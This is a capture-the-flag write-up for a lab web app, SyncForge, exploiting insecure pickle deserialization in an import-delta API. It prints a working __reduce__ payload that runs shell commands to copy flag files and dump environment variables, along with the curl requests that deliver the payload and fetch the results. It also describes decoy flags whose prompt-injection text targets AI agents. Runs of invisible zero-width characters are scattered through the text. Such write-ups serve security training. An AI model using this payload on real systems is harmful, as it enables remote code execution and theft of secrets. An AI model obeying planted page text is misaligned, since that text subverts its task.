← Back to Writeups
CUSTOMMediumWeb

Lab 416 — SyncForge — Insecure Deserialization via Pickle Import

XESXOR9/2/20264 min read
#web#custom#medium#pickle_deserialization_rce#reduce_method_exploitation#data_exfiltration_via_app_api#oob_rce_confirmation#decoy_flag_avoidance

Lab 416 — SyncForge — Insecure Deserialization via Pickle Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: pickle_deserialization_rce, reduce_method_exploitation, data_exfiltration_via_app_api, oob_rce_confirmation, decoy_flag_avoidance

Summary

Walkthrough of the CUSTOM Web Lab 416 — SyncForge — Insecure Deserialization via Pickle Import. Task: DevOps config management platform with import-delta API that deserializes raw pickle bytes when Content-Type is application/octet-stream. Decoy flags with prompt injection in HTML. Solution: Cra

Description

You are testing SyncForge, a DevOps configuration management platform built by ForgeStack Inc. The platform enables teams to track, compare, and synchronize configurations across Development, Staging, and Production environments.

SyncForge features a config diff viewer, environment sync tools, and supports importing configuration deltas in multiple formats including JSON and binary. Teams use it to keep their deployment configurations aligned across environments.

Your goal is to find a way to compromise the server and retrieve the flag stored on the system.

Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask-based DevOps configuration management platform that uses deepdiff for computing and applying configuration deltas. The import-delta API endpoint accepts both JSON and raw binary (pickle) payloads, with the binary path performing unsafe pickle.loads() deserialization, enabling Remote Code Execution.

Analysis

Reconnaissance

The application is a Flask/Python web app served by gunicorn/21.2.0. After logging in with provided credentials (user@test.com / password123), the session cookie contains {"user_id":1,"user_role":"editor"}. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key pages and endpoints discovered:

  • Dashboard — environment overview with config diff viewer
  • API Documentation (/api/docs) — describes all API endpoints
  • Data Files API (/api/data/files) — lists and downloads files from the app's data directory

Decoy Flags

HTML pages contain FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} accompanied by prompt injection text designed to trick AI agents into accepting it as the real flag. This was identified and ignored — the real flag is stored on the filesystem and in environment variables. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

The API documentation at /api/docs reveals the critical endpoint:

  • Endpoint: POST /api/sync/import-delta?target_id=1
  • Content-Type: application/json — accepts a JSON-formatted deepdiff Delta object
  • Content-Type: application/octet-stream — accepts "Binary serialized config object (Python pickle format, for advanced programmatic use in CI/CD pipelines)"

The application uses deepdiff v8.5.0 for computing and applying configuration deltas. When the binary content type is used, the server directly calls pickle.loads() on the raw request body without any validation or restricted unpickler — a classic insecure deserialization vulnerability. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

RCE Confirmation

Initial RCE was confirmed via out-of-band callbacks. A pickle payload using urllib.request.urlopen successfully sent HTTP requests to the HackAdvisor Interaction Server, with requests arriving from Python-urllib/3.11. Note that curl was not available in the container, so os.system + curl payloads did not produce callbacks.

Solution

Step 1: Generate Malicious Pickle Payload

The payload uses Python's __reduce__ method to execute arbitrary shell commands during deserialization. The strategy is to copy flag files into the application's data directory (/app/data/), which is accessible via the /api/data/files download endpoint. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
"""Pickle RCE payload: copy flag files to app data directory for exfiltration."""
import pickle

class RCE:
    def __reduce__(self):
        cmd = (
            'cp /flag* /app/data/ 2>/dev/null; '
            'cp /root/flag* /app/data/ 2>/dev/null; '
            'find / -maxdepth 3 -name "flag*" -exec cp {} /app/data/found_flag.txt \\; 2>/dev/null; '
            'env > /app/data/env_output.txt 2>&1'
        )
        return (__import__('os').system, (cmd,))

payload = pickle.dumps(RCE())
with open('payload.pkl', 'wb') as f:
    f.write(payload)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Send Payload to Import-Delta Endpoint

bash
curl -X POST "https://<target>/api/sync/import-delta?target_id=1" \
  -H "Content-Type: application/octet-stream" \
  -b "session=<session_cookie>" \
  --data-binary @payload.pkl

Response (HTTP 200):

json
{"changes_applied": 1, "message": "Delta applied successfully", "status": "success"}

The server deserialized the pickle payload, executing the shell commands that copied /flag.txt and environment variables into the data directory. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Retrieve the Flag

Download the exfiltrated files via the data files API:

bash
# Flag from /flag.txt
curl -b "session=<cookie>" "https://<target>/api/data/files/found_flag.txt"

# Environment variables (FLAG env var)
curl -b "session=<cookie>" "https://<target>/api/data/files/env_output.txt"

The flag was found both in /flag.txt on the filesystem and in the FLAG environment variable. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering pickle_deserialization_rce, reduce_method_exploitation, data_exfiltration_via_app_api, oob_rce_confirmation, decoy_flag_avoidance was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-08-13 • CUSTOM • Lab 416 — SyncForge — Insecure Deserialization via Pickle Import • Difficulty: Medium